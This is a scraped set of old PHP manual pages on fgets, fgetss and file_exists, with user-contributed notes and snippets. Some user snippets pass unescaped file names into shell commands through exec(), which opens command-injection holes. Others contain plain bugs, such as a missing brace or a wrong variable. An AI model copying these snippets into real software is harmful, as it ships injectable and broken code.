jerem-NoSpam-ified at live dot com 18-Apr-2008 05:22
It's worth noting that this function only assumes chr(10) as a line break, but not chr(13). Personally, I prefer using chr(13) as a line break.
Daniel Klein 25-Jan-2008 05:47
The file pointer that fgets() uses can also be created with the proc_open() function and used with the stdout pipe created from the executed process.
david_sitller at blackbit dot de 25-Oct-2007 02:32
If you use the example from the command-description, i recommend to trim the $buffer for further use. The line feed ist still at the end of the line. I saw this when using PHP CLI.

Like this, checking a file-list for existing entries:

$handle = fopen ("/tmp/files.txt", "r");
while (!feof($handle)) {
    $buffer = fgets($handle, 4096);
    if (file_exists(rtrim($filename,"\n"))) {
        echo $buffer;
    } else {
        echo $buffer." has been removed."
}
fclose ($handle);
anacreo has gmail 18-Sep-2007 11:15
I'm using this function to modify the header of a large postscript document on copy...  Works extremely quickly so far...

function write($filename) {
     $fh = fopen($this->sourceps,'r');
     $fw = fopen($filename,'w');

     while (!feof($fh)) {
       $buffer = fgets($fh);
       fwrite($fw,$buffer);
       if (!$setupfound && ereg("^%%BeginSetup",$buffer)) {
         $setupfound++;
         if (array_key_exists("$filename",$this->output)) {
           foreach ($this->output[$filename] as $function => $value) {
             fwrite($fw,$value);
           }
         }
         stream_copy_to_stream($fh,$fw);
       }
     }
     fclose($fw);
     fclose($fh);
   }
Peter Schlaile 21-Aug-2007 08:36
fscanf($file, "%s\n") isn't really a good substitution for fgets(), since it will stop parsing at the first whitespace and not at the end of line!

(See the fscanf page for details on this)
David at Weintraub.name 10-Jul-2007 11:23
There's an error in the documentation:

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

You should also add "popen" and "pclose" to the documentation. I'm a new PHP developer and went to verify that I could use "fgets" on commands that I used with "popen".
d at foo.com 13-Aug-2006 10:03
For sockets, If you dont want fgets, fgetc etc... to block if theres no data there. set socket_set_blocking(handle,false); and socket_set_blocking(handle,true); to set it back again.
svayn at yahoo dot com 14-Jul-2006 11:21
fgets is SLOW for scanning through large files. If you don't have PHP 5, use fscanf($file, "%s\n") instead.
sam dot bryan at montal dot com 23-May-2006 11:09
An easy way to authenticate Windows Domain users from scripts running on a non-Windows or non-Domain box - pass the submitted username and password to an IMAP service on a Windows machine.

<?php
$server = 'imapserver';
$user = 'user';
$pass = 'pass';

if (authIMAP($user, $pass, $server)) {
    echo "yay";
} else {
    echo "nay";
}

function authIMAP($user, $pass, $server) {
    $connection = fsockopen($server, 143, $errno, $errstr, 30);

    if(!$connection) return false;

    $output = fgets($connection, 128); // banner
    fputs($connection, "1 login $user $pass\r\n");
    $output = fgets($connection, 128);
    fputs($connection, "2 logout\r\n");
    fclose($connection);

    if (substr($output, 0, 4) == '1 OK') return true;

    return false;
}
?>
24-Mar-2006 06:36
Macintosh line endings mentioned in docs refer to Mac OS Classic. You don't need this setting for interoperability with unixish OS X.
tavernadelleidee[italy] 09-Mar-2006 12:44
I think that the quickest way of read a (long) file with the rows in  reverse order is

<?php
$myfile = 'myfile.txt';
$command = "tac $myfile > /tmp/myfilereversed.txt";
passthru($command);
$ic = 0;
$ic_max = 100;  // stops after this number of rows
$handle = fopen("/tmp/myfilereversed.txt", "r");
while (!feof($handle) && ++$ic<=$ic_max) {
   $buffer = fgets($handle, 4096);
   echo $buffer."<br>";
}
fclose($handle);
?>

It echos the rows while it is reading the file so it is good for long files like logs.

Borgonovo
ecvej 04-Jan-2006 10:20
I would have expected the same behaviour from these bits of code:-

<?php

/*This times out correctly*/
while (!feof($fp)) {
    echo fgets($fp);
}

/*This times out before eof*/
while ($line=fgets($fp)) {
    echo $line;
}

/*A reasonable fix is to set a long timeout*/
stream_set_timeout($fp, 180);
while ($line=fgets($fp)) {
    echo $line;
}
?>
hackajar <matt> yahoo <trot> com 05-Dec-2005 09:17
When working with VERY large files, php tends to fall over sideways and die.

Here is a neat way to pull chunks out of a file very fast and won't stop in mid line, but rater at end of last known line.  It pulled a 30+ million line 900meg file through in ~ 24 seconds.

NOTE:
$buf just hold current chunk of data to work with.  If you try "$buf .=" (note 'dot' in from of '=') to append $buff, script will come to grinding crawl around 100megs of data, so work with current data then move on!

//File to be opened
$file = "huge.file";
//Open file (DON'T USE a+ pointer will be wrong!)
$fp = fopen($file, 'r');
//Read 16meg chunks
$read = 16777216;
//\n Marker
$part = 0;

while(!feof($fp)) {
    $rbuf = fread($fp, $read);
    for($i=$read;$i > 0 || $n == chr(10);$i--) {
        $n=substr($rbuf, $i, 1);
        if($n == chr(10))break;
        //If we are at the end of the file, just grab the rest and stop loop
        elseif(feof($fp)) {
            $i = $read;
            $buf = substr($rbuf, 0, $i+1);
            break;
        }
    }
    //This is the buffer we want to do stuff with, maybe thow to a function?
    $buf = substr($rbuf, 0, $i+1);
    //Point marker back to last \n point
    $part = ftell($fp)-($read-($i+1));
    fseek($fp, $part);
}
fclose($fp);
kpeters AT-AT monolithss DEE OH TEE com 01-Dec-2005 02:51
It appears that fgets() will return FALSE on EOF (before feof has a chance to read it), so this code will throw an exception:

while (!feof($fh)) {
  $line = fgets($fh);
  if ($line === false) {
    throw new Exception("File read error");
  }
}
dandrews OVER AT 3dohio DOT com 07-Jan-2005 08:11
Saku's example may also be used like this:

<?php
 @ $pointer = fopen("$DOCUMENT_ROOT/foo.txt", "r"); // the @ suppresses errors so you have to test the pointer for existence
   if ($pointer) {
     while (!feof($pointer)) {
         $preTEXT = fgets($pointer, 999);
         // $TEXT .= $preTEXT;  this is better for a string
        $ATEXT[$I] = $preTEXT;  // maybe better as an array
        $I++;
     }
     fclose($pointer);
   }
?>
angelo [at] mandato <dot> com 19-Nov-2004 03:43
Sometimes the strings you want to read from a file are not separated by an end of line character.  the C style getline() function solves this.  Here is my version:
<?php
function getline( $fp, $delim )
{
    $result = "";
    while( !feof( $fp ) )
    {
        $tmp = fgetc( $fp );
        if( $tmp == $delim )
            return $result;
        $result .= $tmp;
    }
    return $result;
}

// Example:
$fp = fopen("/path/to/file.ext", 'r');
while( !feof($fp) )
{
    $str = getline($fp, '|');
    // Do something with $str
}
fclose($fp);
?>
lelkesa 04-Nov-2004 11:54
Note that - afaik - fgets reads a line until it reaches a line feed (\\n). Carriage returns (\\r) aren't processed as line endings.
However, nl2br insterts a <br /> tag before carriage returns as well.
This is useful (but not nice - I must admit) when you want to store a more lines in one.
<?php
function write_lines($text) {
  $file = fopen('data.txt', 'a');
  fwrite($file, str_replace("\n", ' ', $text)."\n");
  fclose($file);
}

function read_all() {
  $file = fopen('data.txt', 'r');
  while (!feof($file)) {
    $line = fgets($file);
    echo '<u>Section</u><p>nl2br'.($line).'</p>';
  }
  fclose($file);
}
?>

Try it.
06-Sep-2004 12:05
If you need to simulate an un-buffered fgets so that stdin doesnt hang there waiting for some input (i.e. it reads only if there is data available) use this :
<?php

    function fgets_u($pStdn) {

            $pArr = array($pStdn);

        if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
            print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");
            return FALSE;
        } elseif ($num_changed_streams > 0) {
                return trim(fgets($pStdn, 1024));
        }

    }

?>
timr 17-Jun-2004 04:13
If you need to read an entire file into a string, use file_get_contents().  fgets() is most useful when you need to process the lines of a file separately.
Pete 23-Feb-2004 01:35
If you have troubles reading binary data with versions <= 4.3.2 then upgrade to 4.3.3
The binary safe implementation seems to have had bugs which were fixed in 4.3.3


Gets line from file pointer and strip HTML tags

  • « fgets
  • file_exists »
  • PHP Manual
  • Filesystem Functions
  • Gets line from file pointer and strip HTML tags

fgetss

(PHP 4, PHP 5)

fgetss — Gets line from file pointer and strip HTML tags

Description

string fgetss ( resource $handle [, int $length [, string $allowable_tags ]] )

Identical to fgets(), except that fgetss() attempts to strip any NUL bytes, HTML and PHP tags from the text it reads.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

length

Length of the data to be retrieved.

allowable_tags

You can use the optional third parameter to specify tags which should not be stripped.

Return Values

Returns a string of up to length - 1 bytes read from the file pointed to by handle, with all HTML and PHP code stripped.

If an error occurs, returns FALSE.

Example #1 Reading a PHP file line-by-line

<?php
$str = <<<EOD
<html><body>
 <p>Welcome! Today is the <?php echo(date('jS')); ?> of <?= date('F'); ?>.</p>
</body></html>
Text outside of the HTML block.
EOD;
file_put_contents('sample.php', $str);

$handle = @fopen("sample.php", "r");
if ($handle) {
    while (!feof($handle)) {
        $buffer = fgetss($handle, 4096);
        echo $buffer;
    }
    fclose($handle);
}
?>

The above example will output something similar to:

 Welcome! Today is the  of .

Text outside of the HTML block.

Notes

Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem.

See Also

  • fgets() - Gets line from file pointer
  • fopen() - Opens file or URL
  • popen() - Opens process file pointer
  • fsockopen() - Open Internet or Unix domain socket connection
  • strip_tags() - Strip HTML and PHP tags from a string

User Contributed Notes

There are no user contributed notes for this page.


Checks whether a file or directory exists

  • « fgetss
  • file_get_contents »
  • PHP Manual
  • Filesystem Functions
  • Checks whether a file or directory exists

file_exists

(PHP 4, PHP 5)

file_exists — Checks whether a file or directory exists

Description

bool file_exists ( string $filename )

Checks whether a file or directory exists.

Parameters

filename

Path to the file or directory.

On windows, use //computername/share/filename or \\computername\share\filename to check files on network shares.

Return Values

Returns TRUE if the file or directory specified by filename exists; FALSE otherwise.

Note:

This function will return FALSE for symlinks pointing to non-existing files.

Warning

This function returns FALSE for files inaccessible due to safe mode restrictions. However these files still can be included if they are located in safe_mode_include_dir.

Note:

The check is done using the real UID/GID instead of the effective one.

Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB.

Examples

Example #1 Testing whether a file exists

<?php
$filename = '/path/to/foo.txt';

if (file_exists($filename)) {
    echo "The file $filename exists";
} else {
    echo "The file $filename does not exist";
}
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • is_readable() - Tells whether a file exists and is readable
  • is_writable() - Tells whether the filename is writable
  • is_file() - Tells whether the filename is a regular file
  • file() - Reads entire file into an array

User Contributed Notes

broken at links dot com 14-May-2014 09:29
file_exists() will return FALSE for broken links

$ ln -s does_not_exist my_link
$ ls -l
lrwxr-xr-x   1 user  group    14 May 13 17:28 my_link -> does_not_exist
$ php -r "var_dump(file_exists('my_link'));"
bool(false)
welkom at remconijhuis dot nl 30-Dec-2013 08:10
I needed to measure performance for a project, so I did a simple test with one million file_exists() and is_file() checks. In one scenario, only seven of the files existed. In the second, all files existed. is_file() needed 3.0 for scenario one and 3.3 seconds for scenario two.  file_exists() needed 2.8 and 2.9 seconds, respectively. The absolute numbers are off course system-dependant, but it clearly indicates that file_exists() is faster.
junya 06-Jan-2013 09:11
On Japanese Windows system, here is the other way to figure out the file existence to avoid SJIS 5C problem.

<?php
function sjis_file_exists($filename)
{
    return exec("if exist \"$filename\" (echo 1) else (echo 0)");
}
?>
DeyV at poczta dot php dot pl 13-Jan-2012 01:47
Great alternative to file_exists() is stream_resolve_include_path()
www dot freev at gmail dot com 27-Jul-2011 03:17
my function filexists() function search file firts in include_path:
<?php
function filexists($file)
{
  $ps = explode(":", ini_get('include_path'));
  foreach($ps as $path)
  {
    if(file_exists($path.'/'.$file)) return true;
  }
  if(file_exists($file)) return true;
  return false;
}
?>
spark at limao dot com dot br 13-Apr-2011 04:26
this code here is in case you want to check if a file exists in another server:

<?php
function fileExists($path){
    return (@fopen($path,"r")==true);
}
?>

unfortunately the file_exists can't reach remote servers, so I used the fopen function.
anthonyiacono at gmail dot com 13-Nov-2010 06:18
Try this replacement if you are having issues with safe mode restrictions:

<?php
   function file_exists_2($dir, $file)
   {
       $ret = exec("ls ".$dir." | grep ".$file);
       return (!empty($ret));
   }
?>

I was having an issue because Apache kept resetting permissions for my public_html directory, causing issues with safe mode.
_ michael 05-Sep-2010 11:16
There is a subtle difference in behaviour of file_exists(), depending on the OS. Suppose you test a path ending with a slash. If the corresponding filesystem object exists, but is not a directory but a file, file_exists() will return true on Windows and false on Linux.

Ie, file_exists( $path_from_root . '/somedir/file/' ) returns true on Windows if that file exists, and false on Linux.

Tested with PHP 5.3.3 on Ubuntu and PHP 5.2.9 on Windows.
hex 07-May-2010 08:11
If you simply want to check that some file (not directory) exists, and concerned about performance, try is_file() instead.
I timed is_file and file_exists, it seems like is_file() is almost 2x faster when a file exists and about the same when it doesn't.
ferodano at gmail dot com 16-Sep-2009 10:54
You could use document root to be on the safer side because the function does not take relative paths:

<?php
if( file_exists( $_SERVER{'DOCUMENT_ROOT'} . "/my_images/abc.jpg"))  {
   ...
}
?>

Do not forget to put the slash '/', e.g. my doc root in Ubuntu is /var/www without the slash.
pgl at yoyo dot org 31-Jul-2009 04:03
Note that this will return false for streams, eg, php://stdin.
jbeltran 20-May-2009 10:39
I want to warn developers using PHP 5.0.4 of a bug that don't happen in current stable versions:

file_exists seems to cache the response, even when the file has been moved.

An example:
<?php
/*
    When a file which has been called by file_exist
    has been moved, the file_exist next call gives true again

*/
$f = "foo.txt";
file_put_contents( $f, "content" );
if(file_exists( $f )){
    rename( $f, $f.".moved" );
}
if( file_exists( $f )){
    echo "Wrong! the file has just been moved! file_exists should return false.";
    rename( $f, $f.".willnotwork" ); //It gives a warning
}
?>

The same code tested in PHP 5.2.4-2ubuntu5.6 with Suhosin-Patch 0.9.6.2 (cli) behaves correctly.
alkaaran at gmail dot com 02-Feb-2009 03:11
Although PHP 5+ supports this function with FTP, it appears that file_exists() used on ftp will always return TRUE, even if the file or directory does not exist.
fabin dot gnu at gmail dot com 31-Jan-2009 10:03
The code can be used to t a filename that can be used to create a new filename.

<?php
function generateRandomString($length = 8)
{
    $string = "";

    //character that can be used
    $possible = "0123456789bcdfghjkmnpqrstvwxyz";

    for($i=0;$i < $length;$i++)
    {
        $char = substr($possible, rand(0, strlen($possible)-1), 1);

        if (!strstr($string, $char))
        {
            $string .= $char;
        }
    }

    return $string;
}

function randomFile($folder = '', $extension = '')
{
    $folder = trim($folder);
    $folder = ($folder == '') ? './' : $folder;

    //check if directory exist
    if (!is_dir($folder)){ die('invalid folder given!'); }

    //generate a filepath
    $filepath = $folder . "/" . generateRandomString(128) . $extension;

    //check if that filepath already exist, if it exist if generates again
    //till if gets one that doesn't exist
    while(file_exists($filepath))
    {
        $filepath = $folder . "/" . generateRandomString(128) . $extension;
    }

    return $filepath;
}
?>
kevin at cuznersoft dot com 04-Nov-2008 05:32
My way of making sure files exist before including them is as follows (example: including a class file in an autoloader):

<?php
function __autoload($name)
{
    $path = explode(":", ini_get('include_path')); //get all the possible paths to the file (preloaded with the file structure of the project)
    foreach($path as $tryThis)
    {
        //try each possible iteration of the file name and use the first one that comes up
        // name.class.php first
        $exists = file_exists($tryThis . '/' . $name . '.class.php');
        if ($exists)
        {
            include_once($name . '.class.php');
            return;
        }

        //ok that didn't work, try the other way around
        $exists = file_exists($tryThis . '/' . 'class.' . $name . '.php');
        if ($exists)
        {
            include_once('class.' . $name . '.php');
            return;
        }

        //neither did that...let's try as an inc.php
        $exists = file_exists($tryThis . '/' . $name . '.inc.php');
        if ($exists)
        {
            include_once($name . '.inc.php');
            return;
        }
    }

    // can't find it...
    die("Class $name could not be found!");
}
?>
justin 21-Aug-2008 09:07
Small adjustment to the url_exist() by marufit at gmail dot com.  Some sites like digg.com for example check the HTTPHEADER to see who is requesting the page and will PHP will throw an error.  Adding the following line fixes the issue:

curl_setopt($handle, CURLOPT_HTTPHEADER, Array("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15") ); // request as if Firefox

<?php
function url_exists($url) {
    // Version 4.x supported
    $handle   = curl_init($url);
    if (false === $handle)
    {
        return false;
    }
    curl_setopt($handle, CURLOPT_HEADER, false);
    curl_setopt($handle, CURLOPT_FAILONERROR, true);  // this works
    curl_setopt($handle, CURLOPT_HTTPHEADER, Array("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15") ); // request as if Firefox
    curl_setopt($handle, CURLOPT_NOBODY, true);
    curl_setopt($handle, CURLOPT_RETURNTRANSFER, false);
    $connectable = curl_exec($handle);
    curl_close($handle);
    return $connectable;
}
?>
Avee 19-Aug-2008 05:21
I made a bit of code that sees whether a file served via RTSP is there or not:

<?php
function rtsp_exists($url) {

    $server = parse_url($url, PHP_URL_HOST);
    $port = "554";
    $hdrs = "DESCRIBE " .$url ." RTSP/1.0"."\r\n\r\n";

    //Open connection (15s timeout)
    $sh = fsockopen($server, $port, $err, $err_otp, 15);
    //Check connections
    if(!$sh) return false;
    //Send headers
    fputs($sh,$hdrs);
    //Receive data (1KB)
    $rtds = fgets($sh, 1024);
    //Close socket
    fclose($sh);

    return strpos($rtds, "200 OK") > 0;
}
?>
dan at sudonames dot com 06-Aug-2008 02:41
Here is a simpler version of url_exists:

<?php
function url_exists($url) {
    $hdrs = @get_headers($url);
    return is_array($hdrs) ? preg_match('/^HTTP\\/\\d+\\.\\d+\\s+2\\d\\d\\s+.*$/',$hdrs[0]) : false;
}
?>
stuart 26-Feb-2008 07:44
When using file_exists, seems you cannot do:

<?php
foreach ($possibles as $poss)
{
    if ( file_exists(SITE_RANGE_IMAGE_PATH .$this->range_id .'/ '.$poss .'.jpg') )
    {
        // exists
    }
    else
    {
        // not found
    }
}
?>

so you must do:

<?php
foreach ($possibles as $poss)
{
    $img = SITE_RANGE_IMAGE_PATH .$this->range_id .'/ '.$poss .'.jpg'
    if ( file_exists($img) )
    {
        // exists
    }
    else
    {
        // not found
    }
}
?>

Then things will work fine.

This is at least the case on this Windows system running php 5.2.5 and apache 2.2.3

Not sure if it is down to the concatenation or the fact theres a constant in there, i'm about to run away and test just that...
jaz-t at hotmail dot com 26-Feb-2008 04:12
Note on openspecies entry (excellent btw, thanks!).

If your server cannot resolve its own DNS, use the following:
$f = preg_replace('/www\.yourserver\.(net|com)/', getenv('SERVER_ADDR'), $f);

Just before the $h = @get_headers($f); line.

Replace the extensions (net|com|...) in the regexp expression as appropriate.

EXAMPLE:
File you are checking for: http://www.youserver.net/myfile.gif
Server IP: 10.0.0.125

The preg_replace will effectively 'resolve' the address for you by assigning $f as follows:
http://10.0.0.125/myfile.gif
maurice at idify dot nl 20-Nov-2007 11:45
Note: The results of this function are cached. See clearstatcache() for more details.

That's a pretty big note. Don't forget this one, since it can make your file_exists() behave unexpectedly - probably at production time ;)
marufit at gmail dot com 12-Nov-2007 12:22
Older php (v4.x) do not work with get_headers() function. So I made this one and working.

<?php
function url_exists($url) {
    // Version 4.x supported
    $handle   = curl_init($url);
    if (false === $handle)
    {
        return false;
    }
    curl_setopt($handle, CURLOPT_HEADER, false);
    curl_setopt($handle, CURLOPT_FAILONERROR, true);  // this works
    curl_setopt($handle, CURLOPT_NOBODY, true);
    curl_setopt($handle, CURLOPT_RETURNTRANSFER, false);
    $connectable = curl_exec($handle);
    curl_close($handle);
    return $connectable;
}
?>
ktcb123 at hotmail dot com 22-Oct-2007 09:26
For some reason, none of the url_exists() functions posted here worked for me, so here is my own tweaked version of it.

<?php
    function url_exists($url){
        $url = str_replace("http://", "", $url);
        if (strstr($url, "/")) {
            $url = explode("/", $url, 2);
            $url[1] = "/".$url[1];
        } else {
            $url = array($url, "/");
        }

        $fh = fsockopen($url[0], 80);
        if ($fh) {
            fputs($fh,"GET ".$url[1]." HTTP/1.1\nHost:".$url[0]."\n\n");
            if (fread($fh, 22) == "HTTP/1.1 404 Not Found") { return FALSE; }
            else { return TRUE;    }

        } else { return FALSE;}
    }
?>
guillermogomezruiz at gmail dot com 07-Sep-2007 01:08
I was having problems with the file_exists when using urls, so I made this function:

<?php
function file_exists_2($filePath)
{
    return ($ch = curl_init($filePath)) ? @curl_close($ch) || true : false;
}
?>

Cheers!
worldclimb at gmail dot com 19-Jul-2007 11:48
Small error in florinel2k's example

$sourcePath should be $fileUrl, otherwise it works well for me.

//Corrected
This is an example if you want to know that a file exists (if that file isn't on your server):

$fileUrl = "http://www.examplecom/test.jpg";
$AgetHeaders = @get_headers($fileUrl);
if (preg_match("|200|", $AgetHeaders[0])) {
// file exists
} else {
// file doesn't exists
}
pcdinh at phpvietnam dot net 14-Jul-2007 04:03
In response to havran at gmail dot com

Your function url_exists() does not work because it has got a big bug. curl_init does not make a connection to that url until curl_exec() is executed. The return value from curl_init() shows if a curl session can be started.

That function can be rewritten as follows

<?php
class Url
{
    /**
     * Check if an url is existed
     *
     * @param  string    $url
     * @access static
     * @return bool      True if the url is accessible and false if the url is unaccessible or does not exist
     * @throws Exception An exception will be thrown when Curl session fails to start
     */
    public static function exists($url)
    {
        if (null === $url || '' === trim($url))
        {
            throw new Exception('The url to check must be a not empty string');
        }

        $handle   = curl_init($url);

        if (false === $handle)
        {
            throw new Exception('Fail to start Curl session');
        }

        curl_setopt($handle, CURLOPT_HEADER, false);
        curl_setopt($handle, CURLOPT_NOBODY, true);
        curl_setopt($handle, CURLOPT_RETURNTRANSFER, false);

        // grab Url
        $connectable = curl_exec($handle);

        // close Curl resource, and free up system resources
        curl_close($handle);
        return $connectable;
    }
}
?>

How to use:

<?php

try
{
    if (Url::exists('http://phpvietnam.net'))
    {
        // Do something here
    }
}
catch (Exception $ex)
{
    // Do something here
}

?>
bvazquez at siscomx dot com 04-Jul-2007 06:13
If you are trying to access a Windows Network Share you have to configure your WebServer with enough permissions for example:

$file = fopen("\\siscomx17\c\websapp.log",'r');

You will get an error telling you that the pathname doesnt exist this will be because Apache or IIS run as LocalSystem so you will have to enter to Services and configure Apache on "Open a session as" Create a new user that has enough permissions and also be sure that target share has the proper permissions.

Hope this save some hours of research to anyone.
florinel2k at yahoo dot com 13-Jun-2007 10:23
This is an example if you want to know that a file exists (if that file isn't on your server):

$fileUrl = "http://www.examplecom/test.jpg";
$AgetHeaders = @get_headers($sourcePath);
if (preg_match("|200|", $AgetHeaders[0])) {
// file exists
} else {
// file doesn't exists
}
vernon at kesnerdesigns dot net 10-May-2007 05:44
In response to seejohnrun's version to check if a URL exists. Even if the file doesn't exist you're still going to get 404 headers.  You can still use get_headers if you don't have the option of using CURL..

$file = 'http://www.domain.com/somefile.jpg';
$file_headers = @get_headers($file);
if($file_headers[0] == 'HTTP/1.1 404 Not Found') {
    $exists = false;
}
else {
    $exists = true;
}
havran at gmail dot com 12-Apr-2007 07:56
Function url_exists() through CURL.

<?php
function url_exists($url) {
    if (!$fp = curl_init($url)) return false;
    return true;
}
?>
earle dot west at transactionalweb dot com 15-Mar-2007 02:49
If the file being tested by file_exists() is a file on a symbolically-linked directory structure, the results depend on the permissions of the directory tree node underneath the linked tree.   PHP under a web server (i.e. apache) will respect permissions of the file system underneath the symbolic link, contrasting with PHP as a shell script which respects permissions of the directories that are linked (i.e. on top, and visible).

This results in files that appear to NOT exist on a symbolic link, even though they are very much in existance and indeed are readable by the web server.
pilotdoofy at gmail dot com 22-Apr-2006 10:35
I wrote a very simple function that allows you to search a folder for a file name with a regular expression. It can handle both PREG and EREG regexps and can accept different case sensitivities for EREG regexps.

function regExpFile($regExp, $dir, $regType='P', $case='') {
# Two parameters accepted by $regType are E for ereg* functions
# and P for preg* functions
$func = ( $regType == 'P' ) ? 'preg_match' : 'ereg' . $case;

# Note, technically anything other than P will use ereg* functions;
# however, you can specify whether to use ereg or eregi by
# declaring $case as "i" to use eregi rather than ereg

$open = opendir($dir);
while( ($file = readdir($open)) !== false ) {
if ( $func($regExp, $file) ) {
return true;
}
} // End while
return false;
} // End function

Basically if you supply anything but "P" for $regType it will assume you're using EREG regexps. The case should only be blank or "i".
07-Jan-2006 10:08
I wrote this little handy function to check if an image exists in a directory, and if so, return a filename which doesnt exists e.g. if you try 'flower.jpg' and it exists, then it tries 'flower[1].jpg' and if that one exists it tries 'flower[2].jpg' and so on. It works fine at my place. Ofcourse you can use it also for other filetypes than images.

<?php
function imageExists($image,$dir) {

    $i=1; $probeer=$image;

    while(file_exists($dir.$probeer)) {
        $punt=strrpos($image,".");
        if(substr($image,($punt-3),1)!==("[") && substr($image,($punt-1),1)!==("]")) {
            $probeer=substr($image,0,$punt)."[".$i."]".
            substr($image,($punt),strlen($image)-$punt);
        } else {
            $probeer=substr($image,0,($punt-3))."[".$i."]".
            substr($image,($punt),strlen($image)-$punt);
        }
        $i++;
    }
    return $probeer;
}
?>
Fabrizio (staff at bibivu dot com) 22-Dec-2005 03:11
here a function to check if a certain URL exist:
<?php
    function url_exists($url) {
        $a_url = parse_url($url);
        if (!isset($a_url['port'])) $a_url['port'] = 80;
        $errno = 0;
        $errstr = '';
        $timeout = 30;
        if(isset($a_url['host']) && $a_url['host']!=gethostbyname($a_url['host'])){
            $fid = fsockopen($a_url['host'], $a_url['port'], $errno, $errstr, $timeout);
            if (!$fid) return false;
            $page = isset($a_url['path'])  ?$a_url['path']:'';
            $page .= isset($a_url['query'])?'?'.$a_url['query']:'';
            fputs($fid, 'HEAD '.$page.' HTTP/1.0'."\r\n".'Host: '.$a_url['host']."\r\n\r\n");
            $head = fread($fid, 4096);
            fclose($fid);
            return preg_match('#^HTTP/.*\s+[200|302]+\s#i', $head);
        } else {
            return false;
        }
    }
?>

in my CMS, I am using it with those lines:
<?php
        if(!isset($this->f_exist[$image]['exist']))
            if(strtolower(substr($fimage,0,4)) == 'http' || strtolower(substr($fimage,0,4)) == 'www.'){
                if(strtolower(substr($image,0,4)) == 'www.'){
                    $fimage = 'http://'.$fimage;
                    $image = 'http://'.$image;
                }
                $this->f_exist[$image]['exist'] = $this->url_exists($fimage); //for now
            } else {
                $this->f_exist[$image]['exist'] = ($fimage!='' && file_exists($fimage) && is_file($fimage) && is_readable($fimage) && filesize($fimage)>0);
            }
        }
?>
ihoss dot com at gmail dot com 19-Oct-2005 04:37
The following script checks if there is a file with the same name and adds _n to the end of the file name, where n increases. if img.jpg is on the server, it tries with img_0.jpg, checks if it is on the server and tries with img_1.jpg.
<?php
  $img = "images/".$_FILES['bilde']['name'];
  $t=0;
  while(file_exists($img)){
    $img = "images/".$_FILES['bilde']['name'];
    $img=substr($img,0,strpos($img,"."))."_$t".strstr($img,".");
    $t++;
  }
  move_uploaded_file($_FILES['bilde']['tmp_name'], $img);
?>
phenbach at phenbach dot com 20-Sep-2005 12:37
I recently had an issue with PLESK and copying file to other directories with the move_uploaded file function.

This would work on every linux server except plesk servers. I could figure it out and have yet to find out.  I had to create a work a round and decided to use the exec() function.

As noted above the file_exist() function must need to wait for some time and I found the looking function a waste of resouces and didn't work for me anyway. So this is what I came up with.

function cp($source,$destination){

$cmd="cp -u ".$source ." ".$destination; //create the command string to copy with the update option
exec($cmd); //exec command
$cmd_test="ls -la ".$destination; //list file
exec($cmd_test,$out);
//If the file is present it $out[0] key will contain the file info.
//if it is not present it will be null
if (isset($out[0])){
     return true;
}else{
     return false;
}
    }
tma at 2p dot cz 24-Aug-2005 10:47
If checking for a file newly created by an external program in Windows then file_exists() does not recognize it immediately.  Iy seems that a short timeout may be required.

<?
    $file = 'file.tmp';
    if ($h = popen("start \"bla\" touch $file", "r")) {
      pclose($h);
   // now I would like know if a file was created
   // note: usleep not supported
      $start = gettimeofday();
      while (!file_exists(trim($file, " '\""))) {
        $stop = gettimeofday();
        if ( 1000000 * ($stop['sec'] - $start['sec']) + $stop['usec'] - $start['usec'] > 500000) break;  // wait a moment
     }

     if (file_exists($file))   // now should be reliable
?>
09-Aug-2005 04:20
That is true feshi. But, if you have your server configured correctly, those access logs will only be accessible by an admin or the root account. The webuser account that runs the php script will be unable to start reading from that file. That's the easiest fix.
07-Mar-2005 11:00
Nathaniel, you should read the manual carefuly next time prior to posting anything here, as all you indicated is the fact you missed the idea of the include_path. To remind - include_path is for some functions only, mainly intended for include and require to simpify include/require operations (kinda way the #include works). It is NOT for any filesystem function, which would be damn annoying than helpful, which is quite understandable and obvious.
andrewNOSPAMPLEASE at abcd dot NOSPAMERSca 11-Feb-2005 02:29
file_exists will have trouble finding your file if the file permissions are not read enabled for 'other' when not owned by your php user. I thought I was having trouble with a directory name having a space in it (/users/andrew/Pictures/iPhoto Library/AlbumData.xml) but the reality was that there weren't read permissions on Pictures, iPhoto Library or AlbumData.xml. Once I fixed that, file_exists worked.
Nathaniel 09-Feb-2005 06:08
I spent the last two hours wondering what was wrong with my if statement: file_exists($file) was returning false, however I could call include($file) with no problem.

It turns out that I didn't realize that the php include_path value I had set in the .htaccess file didn't carry over to file_exists, is_file, etc.

Thus:

<?PHP
// .htaccess php_value include_path '/home/user/public_html/';

// includes lies in /home/user/public_html/includes/

//doesn't work, file_exists returns false
if ( file_exists('includes/config.php') )
{
     include('includes/config.php');
}

//does work, file_exists returns true
if ( file_exists('/home/user/public_html/includes/config.php') )
{
    include('includes/config.php');
}
?>

Just goes to show that "shortcuts for simplicity" like setting the include_path in .htaccess can just cause more grief in the long run.
alex at raynor nospam dot ru 05-Apr-2004 05:16
If you use open_basedir in php.ini and use file_exists for file outside open_basedir path, you will not be warned at log and file_exists returns false even if file really exists.


Reads entire file into a string

  • « file_exists
  • file_put_contents »
  • PHP Manual
  • Filesystem Functions
  • Reads entire file into a string

file_get_contents

(PHP 4 >= 4.3.0, PHP 5)

file_get_contents — Reads entire file into a string

Description

string file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int $maxlen ]]]] )

